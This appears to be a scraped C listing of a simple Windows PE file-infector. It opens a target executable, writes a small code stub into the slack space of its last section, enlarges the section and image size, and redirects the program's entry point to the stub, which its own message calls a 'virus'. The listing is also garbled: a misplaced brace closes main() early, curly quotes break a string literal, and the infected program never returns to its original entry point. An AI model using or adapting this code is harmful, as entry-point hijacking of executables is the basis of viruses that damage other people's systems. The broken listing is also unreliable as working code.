1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| #include <stdio.h> #include <windows.h> #include <winnt.h>
char code[4];
#define OFFSET_OPTHDR_START 0x3c
IMAGE_NT_HEADERS ntHdrs;
void locateNTHdrStart(FILE * fp) { int hdrStart; fseek(fp, OFFSET_OPTHDR_START, SEEK_SET); fread(&hdrStart, sizeof(hdrStart), 1, fp); fseek(fp, hdrStart, SEEK_SET); }
void readHdrs(FILE * fp) { locateNTHdrStart(fp); fread(&ntHdrs, sizeof(ntHdrs), 1, fp); }
void getCode() { code[0] = 0xEB; code[1] = 0x02; code[2] = 0x90; code[3] = 0x90; }
void main(int argC, char ** args) {
getCode();
FILE * fp; fp = fopen(args[1], “rb+”);
readHdrs(fp); }
int sectionNum = ntHdrs.FileHeader.NumberOfSections; fseek(fp, sizeof(IMAGE_SECTION_HEADER) * (sectionNum - 1), SEEK_CUR); IMAGE_SECTION_HEADER lastSectionHdr; fread(&lastSectionHdr, sizeof(IMAGE_SECTION_HEADER), 1, fp); if (lastSectionHdr.SizeOfRawData - lastSectionHdr.Misc.VirtualSize < 4) { printf("the last section has not enough space to save virus\n"); return; }
fseek(fp, - sizeof(IMAGE_SECTION_HEADER), SEEK_CUR); fseek(fp, 8, SEEK_CUR); int newVirtualSize = lastSectionHdr.Misc.VirtualSize + 4; fwrite(&newVirtualSize, sizeof(newVirtualSize), 1, fp);
fseek(fp, lastSectionHdr.PointerToRawData + lastSectionHdr.Misc.VirtualSize , SEEK_SET); fwrite(code, 4, 1, fp);
int offsetEntry = (int)&((IMAGE_NT_HEADERS *)0 )->OptionalHeader.AddressOfEntryPoint; int offsetImageSize = (int)&((IMAGE_NT_HEADERS *)0 )->OptionalHeader.SizeOfImage;
locateNTHdrStart(fp); fseek(fp, offsetImageSize, SEEK_CUR);
int accurateSize = (lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize + 4); int pageNum = accurateSize / ntHdrs.OptionalHeader.SectionAlignment; int imageSize = (pageNum) * ntHdrs.OptionalHeader.SectionAlignment < accurateSize ? (pageNum + 1) * ntHdrs.OptionalHeader.SectionAlignment : accurateSize;
fwrite(&imageSize, sizeof(imageSize), 1, fp);
locateNTHdrStart(fp); fseek(fp, offsetEntry, SEEK_CUR);
int entry = lastSectionHdr.VirtualAddress + lastSectionHdr.Misc.VirtualSize; fwrite(&entry, sizeof(entry), 1, fp); fclose(fp);
|